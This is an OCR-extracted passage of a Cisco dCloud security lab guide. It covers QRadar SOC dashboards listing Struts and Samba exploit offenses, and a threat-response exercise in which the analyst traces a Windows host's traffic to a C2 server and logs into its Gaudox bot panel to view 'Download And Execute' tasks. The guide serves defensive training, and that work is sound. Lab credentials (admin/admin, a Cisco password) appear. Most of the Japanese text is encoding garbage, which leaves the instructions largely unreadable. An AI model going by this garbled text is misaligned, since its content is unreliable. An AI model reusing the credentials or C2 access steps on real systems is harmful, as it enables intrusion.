M DMZ HIZH DY —/NZFFEEL TS Struts2 DAfEFEHEERRIZLTLVET . HackMDs @ DMZ MIHRFOAEh, EE (X root L
NIVERTE—IFIILERNTOEY, Chif. jposs ZERALT- SAMSAM SUH LI T7HEDSLDHREIZFELLTVET,

18. FTRHDIZ, A2 D HackMDS SOC View ZviaR—RIZRYET . §EIL. apache struts OIEFEMHEISRTHITIORTAA
DEHEIZDWTRELET . RUICHERTREBMIL. [RFOHE (Most Recent Offenses)] 4P v TT . RRSNTIND

TI3—LED)VILT, FMEHERLES

Most Recent Offenses

Exploit Followed by Suspicious Host Activi
UserLogin Change Event

- Chained containin

Samba Exploit preceded by SERVER-WEBAPP Java XML

desetialization remote code execution attermpt

Magnitude

Excessive Firewall Denies Across Multinle Hosts From A Local Host
preceded by Exploit Followed by Suspicious Host Activity - Chained

containing Flow Denied
SERVER-APACHE Apache Struts remote code es

L atternnt

preceded by SERVER-APACHE Apache Struts '...M.;ﬁa code execution
atternpt preceded by SERVER-APACHE Apache Struts remote code

execution attempt - POST parameter
DDoS Attack Detected containing High DDoS Source Index

6 X

19. [K% (Offenses)] BT ICCDARUMDFMARTEINES . REDZ(T BRLE-LFE RBOEXEL >FHHlNRT
ENFET, QRadar HEFDENTIFHD 1 DI, BAEZEITI SOC FHIARMIZDARUIEEIY B ToNSEENHYET . B

HMIZZUy LT EEDARIZEY B TT SN,

Offense 6
Magnitude

SERVER-APACHE Apache Struts remote code execution attempt
Description preceded by SERVER-APACHE Apache Struts remote code execution attempt

preceded by SERVER-APACHE Apache Struts remote code execution attempt - POST parameter

Source IP(s) 198181336

:3,‘::;"“"”“ 198.19.20.5 (www)
Network(s) DMZ Internal

© 2018 Cisco and/or its affiliates. All rights reserved. This document is Cisco Public Information.

@ Summary Display ¥

Status

Offense Type

EventFlow
count

Start
Duration

Assigned to

Events . Flows Actions ¥ (2 Print (7]
Relevance| 5 | Severity 10 Credibility| 4
Source IP

3 events and 0 flows in 1 categories

Oct 2, 2018, 10:43:59 AM
1m 50s

Unassigned

183/195 R—<



Cisco dCloud

20. [#wi 27R—K (Dashboard)] #7%%')y~L T, HackMDS SOC View #vL 1 R—RIZRYFE T, TARIZRIA—ILT S,
(24T RITHRT AL+ (Exploits by Type)] V4P xvbMRZTEE T, 2 TH, Samba &Y E—k A—FEITHNBEETHH_L

AHhMYES,

(6 3 X]
10/518 6:50 AM - 10/5/18 12:50 PM

Exploits by Type (Event Count)

4

Samba Explot @ Remote Code Execution @@ Misc Exploit

Mew in Log Activif

¥ Legend

21. HackMDS SOC View % aR—K®M%& LIZ, [EfuhTT) 547 (Top Category Types)] D1 zvbBHYET, [JE—F
3—F3E47 (Remote Code Execution)] HEIXZZICERFINTVET . ChEIUVITHE CNEDARUDIERESSIC
FLHT- [RE (Offenses)] FTMRRINFET, [JE—F3—FEFT (Remote Code Execution)] #4v oL THELLS,

(@ X)

Offenses

Top Category Types

Category
Computer Account Changed
Remote Code Execution
" r s
Misc Exploit 2
Eirewall Deny .
Network Sweep

= =M N

22. COANUMNIEEF TN TOSIREDBMENRIRENET . WTIAHODEEEI)VIT DL, [REFDKE (Most Recent

Offenses)] 74P ybDFAE CIBLEO LD FMERIARTINET,

Id Description Offense Type Offense Source Magnitude
3 Samba Exploit preceded by SERVER-WEBAFP Java XML deseri... Source IP 19819103 —
14} SERVER-APACHE Apache Struts remote code execution atternp... | Source P 198181326 [—

Source IPs

19819103
198181336

23. [#viaR—RK (Dashboard)] #7%5UvHoL T, v aR—RIZRYET, [y aR—F D &R (Show Dashboard)] KRy

Ay o)y sL, 581 S (Vulnerability Managemen)] 5 v aR—REEIRLET,

Show Dashboard:  Wulnerability Management -

_/_'.I

24. ZRUMEHLGI AT LICHTHITIRTAAERLIZE VL aR—FARRENE T, CSITRRENTVDD(E, VAT LERIDE
FTEIRRANOELZ ANV MERTT . COLIGERIL. [7E b (Assets)] T THLRREINTLELS =, HLMIZHEIELEID

DRATLIZHLT, ICISTHALH DR IGEEDBENAHYFET

Show Dashboard: | Vulnerability Management =l New Dashboard Rename Dashboard (@D Delete Dashboard  Add tem... ¥
Top Systems Attacked (DSIDPAPS) (Event =y~ Exploits By Destination (Event Count) (0 8 X
Count) e
10/21185:21 AM- 10/2/18 11:21 AM
10/2/18, 5:21 AM - 1042/18,11:21 AM
v Leg Legend
3

19819205 @§1981930100 @198.1930102 @198.19208 (19819105

Mew in Log Activity

© 2018 Cisco and/or its affiliates. All rights reserved. This document is Cisco Public Information.

NextRetresh: 000095 Il o @

Exploit By Source (Event Count) (9 8% X
1012118 5:21 AM - 10/2/18 11:21 AM
S c—
¥ Legend
19819103 1981930100 @198181336
Mew in Log Activity
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NN DAETEH, QRadar #FALTINDIHVRTOA NEMEEHETEET

— e

c CEDEIIT ARV TRTEE

[CBARTHY ., KEEZZ T TV ATLY, FRASHK-KEDS(T . BLUVREAKILI-EH (DFY, KES—
TYrDBRADKEEE) R HITEMTEE Y, TIIRIZ, ANBEBOBEICBYET,

BESN=-5YTTERETS

REORHETIE. ISE IZ&-THEBMBEINARU L EHE
D—9IZF79tvAL, FDZYv Ty T R—k RF U0 A BRSh ., B
Firepower (X DEI{EEFER

it

KiR%E QRadar DEmMDRTHELELD,

25. HackMDS SOC View &1 R—FIZRYZET,

FLTWEFT . BERBEINES5Y Ty TEEDI—H A HackMDs &bk
BEOHDIIb9zT7ESIoO—FLESELTVET,
L.Z03vThyTERbT—OMSBIRTE2HENHD

&% PxGrid Z#FRALT ISE [CBHMLET . 2D

26. [EfATI) 547 (Top Category Types)] D FIZ [AvE 1a—2F7HH2 ERE (Computer Account Changed)] BN R RS

NTVET, JVvILTEHEBERGELELLS,

Top Category Types

Category
Computer Account Changed
Remote Code Execution ‘
Misc Exploit
Eirewall Deny
Network Sweep

(@ X)

Offenses

- = NNN

27. [BE|HET7A4T7 24— ILIER (Excessive Firewall Denies)] MRRFEINTVWET ., Thik, ZOI—F BRI —IZHEHE TS
D% Firepower NMEFBELIZCEETRLET , COJBEDI—H (L dhowser TF, CDITEIVYILTEHMERBLELLS,

All Offenses “iew Offenses: Select An Option:

Current Search Parameters:
Low Level Categary is Computer Account Changed

(Clear Filter), Exclude Hidden Offenses  (Clear Filter),

; / Offense Type Offense Source Magnitude

H

Exclude Closed Offenses  (Clear Filter)

> Id Description Source IPs Destination IPs Users
7 Excessive Firewall Denies Across Multiple Hosts From#Local ... Source IP 198.19.40.51 - 198.19.40.51 Multiple (262 dhowser
1 Exploit Followed by Suspicious Host Activity - Chained containin Source IP 19818.30.100 1881830100 Multiple (2) hultiple (2)

28. TOA—HH VPN BHTEBELTVSIEAONET  T7A4T7IA— LA A—HFDEEIZE DT ISE (T3—IL TOMT
BIET, COA—HEESLEEBRILOMYET, [FvPaR—K (Dashboard)] 8T &7y ILTAL O DF v aR—RIZRY
E3 8

Offense 7 [g] summary  Display ¥ Ewants Flaws Actions ¥ (% Print (2]

Magnitude e — ‘ Stalusi ‘ Relwanceiuﬁ : Severi‘ly! 7 ] Credihilityi 4
Excessive Firewall Denies Across Multiple Hosts From & Local Host Offense Type ‘ Source [P

Description preceded by Exploit Followed by Suspicious Host Activity - Chained EventFIow
cantaining Flow Denied 2 S ‘ 1.811 events and 0 flows in 4 categories

Source IP(s) . 198.19.40.51 (CONTRACTOR) - ‘ Starl ‘ Oct2, 2018, 11:00:32 AW

Destination IP{s) | Local {254) Remote {25 ‘ Duration i 3d1h158m 37s

HNetwork(s) Multiple (5 ‘Assinedto ‘ Unassigned

Offense Source Summary

P 198.15.40.51 | Location | VPN Addresses SpaceEN Addresses Space
Magnitude | ‘Vulnerahil'rlies | 131 -
Username . dhowser ‘ MAC Address | 000894 3C TAD0

Host Name . CONTRACTOR ‘ |

Asset Name | CONTRACTOR {Weighl | o

Offenses 1 |

‘ EventsfFlows | 1,811

© 2018 Cisco and/or its affiliates. All rights reserved. This document is Cisco Public Information.
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29. HackMDS SOC View # v aiR—FD RN D12 zybE R THBHE. 198.19.40.51 FRLAMBSR) H—SNI=TI5—LHIEH
I23HEIEDHAIVET, [[R—rXF+v> (Port Scanning)] V4P vkl SOV AT LMEDR—F XFVvUBENRTRS
NTWET, EET IP BIDKE (Offenses by Source IP)] IZHRFINTULET, SOOIy b DEEMERERL.
198.19.40.51 [2& BT S5—ALIZDWTHEMIFREZIEELELLS,

Offenses by Source IP (Event Count) E58
10/5/18 8:00 AM - 10/5/18 2:00 PM

5
2.5
I|Il ]
0

¥ Legend

1981930100 @B19819.4051 @82101030
5101030 @B4101030 7104030
5101030 @93.101030 4

Miew in Log Activig™

30. 7RL X 198.19.40.51 IZTBE T 37 5—LNEHRTINTOET, JVVITHEEMNRTINET,

0

¥ Legend ¥ Legend
1981930100 @B195.19.4051 @LH2101030 @@F5101030 @BEE4101030 57101030 1981930100 @B198194051 @BL 02101030 @F5101030 @BEE4.1010.30 57101030
W@E6101030 @BEE3101030 W@=6101030 @PELE31010.30
(Hide Charts)

CRE e (custom) Low Level Category P D Port L {Unigue Magnitude
Source P 4 ique Count) Evart Name (Unkyue Coustt) {Unique Count) {Unigue Count) (Unigue Count) Count) (Maximum)
198.19.30.100 4% ploit Followed by Exploit Followed by Suspicious Host Activity - Chained Misc Exploit 1988.19.105 nurse
198.19.40.51 Multiple (2) Multiple (2) Multiple (2) Multiple (3) Multlple (3) Multiple (2) _

£ 82101030 DDoS Attack Detected  DDoS Aftack Detected Misc DoS 0.0.00 None

"951010.30 DDoS Attack Detected DDoS Attack Detected Misc DoS 0.0.0.0 0 None 3

54101030 DDoS Attack Detected  DDoS Attack Detected Misc DoS 0.0.0.0 0 None 3

f@57.10.10.30 DDoS Attack Detected DDoS Aftack Detected Misc DoS 0.0.00 0 None 2
0 None 3

E56.10.10.30 DDosS Attack Detected  DDoS Attack Detected Misc DoS 0.0.0.0

31. TARIZRYBE—)LLTLKE, Firepower [ZK > THERSN-EEHIHEICEOVT, COLI—FHEZLDORBBEESIEEILT
WBIEDRHMYET, TOKSBEMEIZIE, [RELHRRNTITAETAIZ DA% TR T Ok (Exploit followed by Suspicious
Host Activity)] EL TRENBTILIIT7DEIUA—R, [RykT—HRA—T (Network Sweep)] ERFESNBR—k ¥ v
BEDNEENTULVET, Cisco ISE £ 9 TITHLE RO TLET A, T<CICTEIDI—HFEFEETHRETLLD,

Event Name Log Source E\:ﬂ Time Low Lewvel Category
8 Exploit Followed by Suspicious Host Activity - Chained Custom Rule Engine-8 :qgr... 1 Octd 2018 12161, Misc Exploit
E:E!' Exploit Followed by Suspicious Host Activity - Chained Custorm Rule Engine-8:gr... 1 Octs, 2018, 12:08:3... Misc Exploit
'd'f Excessive Firewall Denies Across Multiple Hosts From A Loc...  Custom Rule Engine-8 2 qgr... 1 octh 2018, 12:06:3... Metwork Sweep
18] Exploit Followed by Suspicious Host Activity - Chained Custom Rule Engine-8 2 qr... 1| Octd, 2018, 10:24:2... | Misc Exploit
la Excessive Firewall Denies Across Multiple Hosts From ALoc... | Custom Rule Engine-2:qr... 1 Octs 2018 10164, Metwork Sweep

ZHhESMZH, QRadar ZERALTLEDITALBREDEEH DT ITIETAERETIHENHELBHDITLLS . RATATREDLT Y

2 aiR—RTh, [Ty (Assets)] 27 TRESNIMfEET —2ZEAL T, SOC ZINEDARUROTRIMT HiRk—k F—LAIZD
B ZEDTEDHMFRNFEONET , QRadar v aR—FEBEHRICHLT. COFRELLLV X1 Tr IRV NEREEMADEH
MEREELTESLY,
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F1)A 8: Cyber Threat Response F¥L 23

Cyber Threat Response )=y 4%, EEOKE/MHHFIAEBL T, SHFE LX) T SO EERE R ILFBEICLTOE
T o TNIE EDFILBLRILDRAFILEBRBREF DAL THERBIREEBELLSIETEIDTT . CNETODITARTOIFIAT
[F ROVTHREST B EHHDEADEZBICDONT, FIBEFHMIRLEL, CCTREGIT, BUEDRIV T EH O+ %
1 DEHBHIEILFELIZ COVFIA T EREL-REICET IR ENERICHEET S5-I BATFIEEZZEAHT LN
BISBYET A0 TUMRIEDRBEEL TRYMBA TSN,

R

COIFHIFADORRIZ. RIEOBEIZHT 5400 T bt isE{T5ZE T, Cyber Threat Response FvL o U ICRUMEAFET, COF v
Lo P TlE, Windows YR TLERAELET . 20 Windows PR T A(E, YR 7R OV bA—)L(C2)H—/NEDBEEF B LML
POV TIZREEL TS AIREEABASIN TINVET , £f= Wireshark ZR1TL T, IT VAT LENFRELEOBD /7y LRILD
bSO vOEHRLET . RERIC. BENRESNT C2 VAT AIZFZV AL THAEEZHELET . COSRTRLEESELSHMSHE . £
DDBEIZOVTIE, ERXGAV I TUMRGELR—rELT LMD F—LIZTRAL—23VFTIRENHYET . COFROBE
[F. TRAL—2a v FICKRE BB TRIEST HILETT,

R 1)Y—X
BEIh-AEgEENRH B R T L Windows 7 T—9RT—23> (NT T—H9RF—37])

BENGREE)Y—R  FHALGENE

E RTIEFIEDELT, ZLDFEEL. AEEHIBT HEFIC OV TOMEA N EIZALYFET , Cisco Firepower, AMP,
Stealthwatch ZHEDY—ILTIX. COEDEEDHDHTEHETIEOUHEEL. SOHICEFMIBELE T BEIE. I74)L LALT
Cisco AMP M™i51752¢&%. CTR Y F YA TRLERVNT—JREE 7 IO —F T Cisco ISE #ERLTITSIE1TEET,

CTR FvL 2o

COUFIATIE, HEFIE, RERERETFD Tier 1 DY AN—[AHT7FIAMLT. BEDRRIFTEHBETOTVET . SHOEE
BT SI—LBH21=Cemn, NTIT—DRT—2av NBREL TV AN HHEERNHYFELT=. D IT T—IRT—avhKY
[SRERELTVENEINEHIBIL, 7ALU DV IR ZETOT ERGAV I T UL TREFESNAHIC, IR—Dv P LB DB
BERABEINELRYERA, LEOBEBICTIAAL—2av T30 TUMIFRTENI, FRI BN, 5T R Fv)T Ty
TEEDA)YMBB/ENET,

© 2018 Cisco and/or its affiliates. All rights reserved. This document is Cisco Public Information. 187/195 R—2



Cisco dCloud
|

COREE 2 DDEBATHEHSNTLET . F 1 BTIE, Wireshark ZERALTZET SV AT LEDBIEZAEL, VAT LIZAIARE
TUWAMEHELET . AVUF M0 83—SFUNEFRKGED S HRDERBEEN, COVATLDBREICE>TEDITHEO>TVET . KE
—G_d-o

COREDE 2 BT ABEINA VO T UM ERERTITVES . COB/E. SOV TUMIBEELTWARY  HELED LD
BEBDHDV—RIZATIERTHIENTEEY  BLDHEE . N\VINVIILEBETHALEEHOTHN TS, COFRETIE, 5
BEPIRELEABICELT, BEDHDY—RERETHHERLFONES,

RENTETLL RELEERICEHTIMEZRBRLET . BERFER LI a0 0RICHYFES  BEEZRLGVTIRTOERICHA
BNBEMEIM. ML THTLZEN, ChIFBEEEETITIRETY . HEICIMYMBA TSN, BERMICHE T DO DOBM L, $FEF
BAEZETRETHENTETY LKOADFEIE, BATHREEHAAY. FRRICREZSRLEVTHL. FERICHARIZBYET,
WEET TITREL, FEHBOTLDAREMEAHSHT=0 . Wireshark ZFERTHEEHELETS,

HURTRE(CEYA TS,

FEREQAITUMNHIGEEIL, YR—b LRILOEBEISEOAHYES  BEOUY—REENT 2012, BERFIBTLLEIAT
DARNVMIA VT URRIE )Y —REBRALTWVENEWSZEAEETY  ERGHGE, 1V TUMDEEAKREL BRICVRIZE
T EHIEN G EICRONET . RUDF-EIL. 1V TUMLTRBENSHIC, ENLDERYDBRTHAI_LEHERT HL
THAIH. ENFERBLGETREHBYFE A,

BELGRIF BESNERDNEVATLETATLTLESICLIE RRS TFVTARATIRBENENSIZETT . 239 5ET4L0DvY
EOFHA T RTHEESN . AV TUMDRERZREEH S ENRAREITREYETS

IT H—/3O1—HL&(L admin. /8RAT—F[ Clsco12345 TT,

CTR FvL o DfEE

HackMDs SOC Tl EXGA VI TUMHIEEXEIL T BRI, ROBMICEZDDENHYET  XEILSINT=AV I TUMME,
HackMDs D 74L 2wy A=YMI&BERETI—,ELURETOT S LIZHVET  COY—ERICIFIFEEICTRMI DN S8,
HackMDs D4 A /A—FHIZxt T HREDREICHLTOAERATRETT, CITIR. 74L0 Py A=yMIBHE TS, BHORS
NERENZERFEL TRIRICH IS T ST ENBIETT, CREESHTYLET.
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N—h 138

BEfzE, COVRTLDOBEED, BREIZE>THBEIN TSI EIZRIEET , UM Wireshark [FIEFIZHEELTLNS XS TT,
Wireshark K& POTATEARA—TA A& 1 DFZFTLI=, Wireshark & 1 ~ 3 MHEERTLTHS, FYTFvEELL, @£
HTEINEHRLET, SR YT —4(198.18.133.0/24) MDD T—HIRT—av ~DRIEEZAELET , Wireshark 74 LAHE
12315 F 9 (hitps:/firstdigest.com/2009/05/wiresharks-most-useful-display-filters/) ,

1. TRIMNWTLEOTAaUEFERLT, Wireshark #BIEEY,

Wireshark

2. [FvTFw(Capture)] 9 vILT [AF 3> (Options)] ##IRLET,

/ The Wireshark Network Analyzer

File Edit Wiew Go | Capture Analyze Statistics Telep

Apply & displa . Start CtrH+-E
- Stop ChHHE
(1 Restart ZErl R
Capture Filters...
Refresh Interfaces  FS

3. RICFTOTATHEALEI—TAREREIR L. [B—H/LI1) 7#E#:E (Local Area Connection)] Z41)v4o LT [BitE (Start)] Z#IRL

Y
Wireshark  Capture Interfaces = 21|
tput | output | Options |
Interface | Traffic I Link-layer Header I Promlstl Snaplen (II Buffer (IVll Monitor Mode | Capture Filter I
Local Area Connection® 10 ___ DLT -1 default 2 -
Ndiswan Adapter Lo Ethernet default 2 —
Ndiswan Adapter Ethernet default 2 -
Ndis'Wan Adapter Ethernet default 2 —
B8 Local Area Col Ethernet default 2 —
Addresses: ‘Ada7:85c4:f93F:c114, 198.19.30.102
[+ Npcap Loopback BSD loopback default 2

V' Enable promiscuous mode on all interfaces Manage Interfaces...

Capture filter for selected interfaces: Enter a capture filter & v Compile BPF:
apture filter for selected interfaces rT r a capture fi W ] Ompil s
T start Close I Help I

4. FSIAVIMFINTFHYENEET 3 ~ 5 9HEFELFET . FEOWRAFI)VILTEFvITFrEEFIELET,
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N—r1:E/[

RBRELLVRATLOD IP PRLRALBELTVWAHESR

FALYTLVS TCP/UDP 7R—bk

aATUR YR aVbO—L(C2) TI—LIERBRB L EHIBLET A, Ff-. TNEFEETT D,
FS5—LMNELLMESE. C2 D IP PRLRIEFITT H,

C2 MBIFEDLIBRALTDBIEITHONTLETH,

WEE®D IP 7RLRIFATE H,

AV RM—=LENT=DFA4T A HackMDs vk T—OMSEEL TS ATREHEIEHYET H,
RESNI-AHMENSH D IT T—IRT—2aV [FETLBIETEETH,

EEDHD Web Y /~C2(FHET HIBE) D DNS & IFFRTY D,

IN—k 2:\v T\ 8

BNASICERRYUAHYET , HELAEELI: C2 DIEEFLYY—F 22 =TDEEH. C2 O GUI [ZF7HU+ERTBHEEH-
TWET, HEEOF—L )—F—D BEAVTIDIVRIZEDE, COKEIZET S Web 04 —32(198.18.133.5/shop/main.php) &
RELTMEL ., A—RENRT—FIEWTRE admin TT, SHITESRABEZED DI LITROELTZ, C2 Y—/N\ BT RO EM
IZRELTZAL,

FBEOERATRENVINVIITEETHEIEN SN =O. WEED C2 VAT AIZAT AV ERA#DE BEITEDAREMENHYFE
T COBIF, C2 VRTLNEDLIGHLDNERATHEHTOARLIZHLDTY

1.

2.

COBREBEIZLOT, ENETOBDEI—FIMREELELIA,
ZDYV—RIZEH>THRRICETSN, BLIKREXAITLID,
ENFEITOHDOBE/IZR YN KEELEL=M,
JIRIREIERITY A,

BREDN—D3BBIFTI A,

RET7AIVDEITSNE, ECITAE—SNELED, F-ZOAFNIETT D,

ETIEDHELOTHREERDSET, CCTLHEFT S,
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WEDOHRE

CIT.CTRFYLUDIZBEETBEOICHATEDHED 1 2ERLET MICHLELDAETREDERISELONET,
R—=BIADTHER: 1—H 4% admin | /XXT—F:admin

C2 M5FT:198.18.133.5

W DM /var/iwww/html/shop | C++/ASM T2k | Ring3 Rootkit | @15 A +')—., RC4 - Base64

T

IN—k LT D—HRT—2a> DRE
1. FT.8ERIET—Ih5 IP FRLRAERBLET  ip.addr == 198.18.133.0/24 OV REFERL T, RYT—ID I E) 5%
I32ENTEET,

| *Local Area Connection

i File Edit View Go Capture
Aam @)L MR

(W [ip.addr == 198.18.133.0/24

Mo, Time

2. 198.18.133.5 &£ 198.19.30.102 [CIEKED RS T4V IMNREEINTVET . MADTRLRIZHLT Web TS5 ERCE.
198.18.133.5 Tl& apache Y RATFLMNKRTINET,

. ApaChez Hountu Default Page: s x

‘e =S QB ’(D 198.18.133.5 - 9 ﬁr‘

Ubuntu Logo

Apache2 Ubuntu Default Page

3. ZOBEDEETIEIRIYNITI—IRAEIZHDI=H, BELEVATLD IP PRLRAZEETEEY,

I * *Local Area Connection

} File Edit Yiew Go Capture Analyze Statistics Telephony Wireless Tools Help
Am ce| L PMREIRe=>=FT L Z[E/’aQQ
(W [ip.addr == 198.18.133.0/24

I_-

619 6. 801985 .19.30.122 198.18.133.5
620 6.824782 .18.133. .19.30.102

621 6.824857 198.19.30.102 198.18.133.5
622 6.824979 198.19.30.10@2 198.18.133.5
623 6.825071 198.19.30.102 198.18.133.5
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4. RYO—)LLTEEEIVVITIRE FRSNTOSR—MOTOrLGE DAL R RINET,
Wireshark - Packet 619 * wireshark_07089B5D-0DC8-4906-8C77-D2B349F80314_20180218120211_a01732

# Frame 619: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface @

# Ethernet II, Src: Vmware_ac:73:a2 (@@:50@:56:ac:73:a2), Dst: Vmware b8:77:31 (@0@:5@:56:b8:77:31)
+ Internet Protocol Yersion 4, Src: 198.19.30.102, Dst: 198.18.133.5

# Transmission Control Protocol, Src Port: 3189, Dst Port: 8@, Seq: @, Len: @

5 COBEEDFHEMIIOVTIHRARSE, RITHEEENRDOMYET, fzL& 1S /shoplorder.php [Zx3 % 339 POST HdHYET

1462 154,.552573 198.19.30.102 198.18.133.5 TCP 1434 18356 -+ 8@ [ACI(] 5eq=193436 Ack=1 Win=66242 Len=1382 [TCP segment of a -
1463 154.552636 198.19.30.102 198.18.133.5 TCP 1434 18356 + 80 [ACK] Seq=194816 Ack=1 Win=6624@ Len=138@ [TCP segment of a -
1464 154 552637 . TCP 1434 18356 -+ 80 [ACK] Seq=196196 Ack=1 Win=6624@ LEh=1380 TCP segment of a -
5 6 9 3 2 33 shop/order.php HTTP/1.1 (application/x-www-form-urlencoded)
54 18356 -+ 80 [ACK] Se 197861 Ack 185 ld:.n 66056 Len=0
22 = 30.1@2 198 CF (o] TCP C 3 1485&# 1 18 5 80 ACH & 197¢ 1 Ack=185 1n=66025% eN=
1272 154.457393 198.18.133.5 198.19.30.102 TCP 66 3@ -+ 18356 [syn, ACK] Seq ] Ack 1 Nln 2920@ Len @ M55= 1380 SACK PERM -
1276 154.471586 198.18.133.5 198.19.30.102 TCP 60 8@ + 18356 [ACK] Seq=1 Ack=236 Win=30336 Len=0
197/ 16A A7176A 1GR 1R 122 € 1G8 1Q AL 1A TrD G /KA o 182CE TAK] CSan=-1 Ark-1G16 HTR=-22IRA | an-A

6. CHEATILD)YITDHE, SHIZHEMTIERNRTINET , RRA A www.sportsfans.atk/r/n THAZEITEBLTLESLY, Web

HADIFEL. TEBELTVSEITY C2 IE—IVERETHRIM TRIMTIZA O Rb—LEN TS EEZ DN
ij_o

" Wireshark - Packet 1465 - wireshark_07089B5D-0DC8-4906-8C77-D2B349F80314_20180114223548_a01628

Content-Type: application/x-www-form-urlencodedirin
- User-fgent: Mozilla/s.R ()(il"' “dnux i586; rw:31.@) Gecko/2@1@@1@1 Firefox/31.@%r\n
- Content-Length: 197620 . '
“~Host: www.sportfans.aoeirin
wrhn
#o [Full request URI: http://www.sportfans. atkfshop!‘“f"trér' php]
- [HTTP request 1/2]
~ [Response in frame: 1484]

. '~ File Data: 197625 bytes

[+ HTML Form URL Encoded: application/x-www-form-urlencoded

7. Web ¥4k (www.sportsfans.atk) [C7YEALES3ET BE. Ubuntu H—/3\%R3 IP PRLRERICER N EONET,

« > C B

(_ )WY, spgrtfang atk

Ubuntu Logo

Apache2 Ubuntu

8. ROM-of=E2% URL IZT7IERZEHADE. BINER—DITHEHGINET BEL- T DRTLIXIOAZET C2 LEELTLND

EEZLNFET,
&« > @ Q l'i::' 198.18.133.5/shop/order.php
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INS—k 2:C2 1\v I\ DIRE

1. TS59Y£RIL T www.sportfans.atk/shop/main.php IZ8EIL. A—H 4L &/ R —K[ZTadminZERALTAY 1o LES, Fv 7
FrIZIFEHICADLET,

[ 198.18.133.5/shopflogin.p' %

“ C (0 ® Notsecure | 198.18.133.5/shop/!

= Apps For quick access, place your bookmarks here on the bockmarks bar, Import bookmarks now

UserName:

Password:

Login In

2. FyaR—RT  BEMICHTEIERERDITHENTEFT  BRELIZSA—T VDB OHERL THELLD, LRI, BEELTL
BDELEDIFATUMIFTEERTENTVET, FTRATIE BELEISATUIDN—a 0 BESOZTOMD MR TE
ij_o

« > C B ‘@ www . sportfans.atk/shop/main php?op=clients e fz‘ N\

Siatisics TOP 5 countries o
Total Clients:
Clients Online:
Clients Offline:
Clients Dead:
Clients online (Past 3h):
Clients online (Past 24h):
Clients online (Past 3days):
Clients online (Past 7days):
Hew Clients (Past 24h):
Hew Clients (Past 3days):

[ = G

Admin Rights: 100 %
Antivirus Product: 0%
HET Framework: 100 %
Java VM: 100 %

[ 1 - 50 | NN 51 - 200 | 201 - 500 | 9N 501 - 1000 | WS 1001 - 5000 | WS 50014

Number of clients per page: 50 :] Sorting:  Status P :I Order. Ascending :I Set Options

Client ID Version IP Address Location 0.S / Architecture Antivirus Installation Date Last Seen Status
8DCFOF2DA1039F03C7881737D3FFCBIE 11.01 198.19.30.102 & Us Windows 7 SP 17 64-bit - 08-01-2018 2.36 PM  15-01-201810:41 (G
P
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3. COV—RIZEHTRRICEITSN., LB XA TLIA, EED [T (Tasks)] &0 vI 9 HE RITSNEHEEZTRIUR
FOIRTRENFT 3 BB DIICE. ZFEDTATLAKBLTVEND, DFEYRIMLICEANRENTOVET . bAYPTNERFER
FRAD, COVATLREDLSIZER RSN TNET,

« > C “l www .sportfans.atk/shop/main.php?op=tasks B -9 Q‘ Lo @

Gaudox HTTP

Sttscs Sent / Executed | Failed /

Total Tasks: T Name Type Max Creation Date Expiration Date Status Options

Tasks Executing: 0 ; ; n
putty01 Download And Execute 1/1/6/9999 08-01-2018 410 PM 13-01-2018 410 PM Expired Details

Total Tasks Sent: 7 bitvise Download And Execute 1/0/6/9999 08-01-2018 413 PM 13-01-2018 413 PM Expired

Total Tasks Executed:

Total Tasks Failed: 25 winscp Download And Execute 1501578999 08-01-2018 415 PM 13-01-2018 415 PM Expired
bitvise-server Download And Execute 1507479999 08-01-2018 5:22 PM 13-01-2018 5:22 PM Expired Details
cutefip-http Download And Execute 1717279999 11-01-2018 1:00 PM 16-01-2018 1:00 PM  Suspended De
nmap2 Download And Execute 15112799 0/ 11-01-20181:27 PM 16-01-20181:27 PM  Suspended De
netcap Download And Execute 14110/9999% 11-01-2018 1:45 PM 16-01-20181:45PM  Suspended Details

4. 7T DDRRAINEFTENTASDT, 6 DAKRKLI=CEITRYETS,

5. RIZ,COE—AVHRELLVRATAIZEESNEEE, DFY /v IRRERZELES  [X5E (Settings)] £ v035&.512F
EEINTWSIENDOAVET,

Settings

Knock Interval (Minutes):

g

Days before bot is marked dead:
14

Current Password:

Hew Password:

Confirm Password:

6. WRIC.BRELEZIZAUDNAVRA—ILSNIIEHEHERL, RARMERELDIDLENHYET  BELIZISITULOED [
(Details)] £2')voL., FIZRYVA—ILTHE, BEICET HFHMERRTEET,

Number of clients per page: 50 :I Sorting:  Status j Order: Ascending :] Set Options

Client ID Version IP Address Location 0.8 / Architecture Antivirus Installation Date Last Seen < st Options

8DCFOF2DA1039F09C7881737D3FFCB1E 1.1.01 198.19.30.102 & Us Windows 7 SP 1/ 64-hit - 08-01-2018 2:36 PM  16-01-20186:12PM [y Detail

Create new task for this client
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7. TFIZRIO=LTBHE RESNZVRTLDOHLWPD ZHMIBFBRARRINET , CNICIE AV A= ILENT=TFA LA R =)L

4B SE 4 A

ENFEMLEENET,

Client ID: 8DCFOF2DA1039F08CT7881737D3FFCBI1E Version: 1.1.0.1 Has Admin Rights: Yes
IP Address: 198.19.30.102 Location: US

Installation Date: 05-01-2018 2:36 PM Last Seen: 16-01-2018 6112 PM

File Path: C:\UgerstAdministratorAppDatalRoamingisDecO4miF 2f63EnSaasiva 4 0staF exe
v

Mnunws\lersinn{\ﬁm’m Bz 7 SP 1 (64-hif) Build 7601

PC Name: IT v User Name: Administrator
Serial Number: 00426-383-4165264-06428 Local Time: 11-01-2018 7:51 AM
Windows Directory: CWindows

Antnirus Product: None
Default Browser: C:\Program Files\Mozilla Firefox\firefox. exe

Has NET Framework Installed: 3
NET Framework: 2.0 50727 5420 Servipack: 4

NET Framework: 3.0 30729.5420 Servipack: 4
NET Framework: 3.5 307295420 Servipack: 4

Has Java VM Installed: 1.8,C\Program FilesWavaljre1 8.0_151

Computer Model: Viware Virtual Platform

BIOS: PhoenixBIOS 4.0 Release 6.0 (Phoenix Technologies LTD) Version: 6.00

Serial: YMware-42 38 67 fc de 54 a1 29-576783 35 5d 0d 96 07

CPU: Intel(R) Xeon(R) CPU E7- 2830 @ 2.13GHz (Genuinelntel} Architecture: x64 Number Of Processors: 2
Video Adapter: Viware SVGA 3D Resolution: 1195x669 Refresh Rate: 60 HZ

CCTIDRELIZEEZ NI EFLODDLENHYET , MM REESTZYIRIz7ESL I O—RLizh SO T—HRT—3Y
THESBHEIEE SNz Web Y AMITIERAL. VIR I T EVRATLIZT Y alizbZBZONET A1V R—ILENFYT I T &
C2 [CE—avERIETHIET NE—IIDINAVEA—RICREIZTIEATESLSIILES . ZOVIFI 7L, BASHAIZ C2 DEE
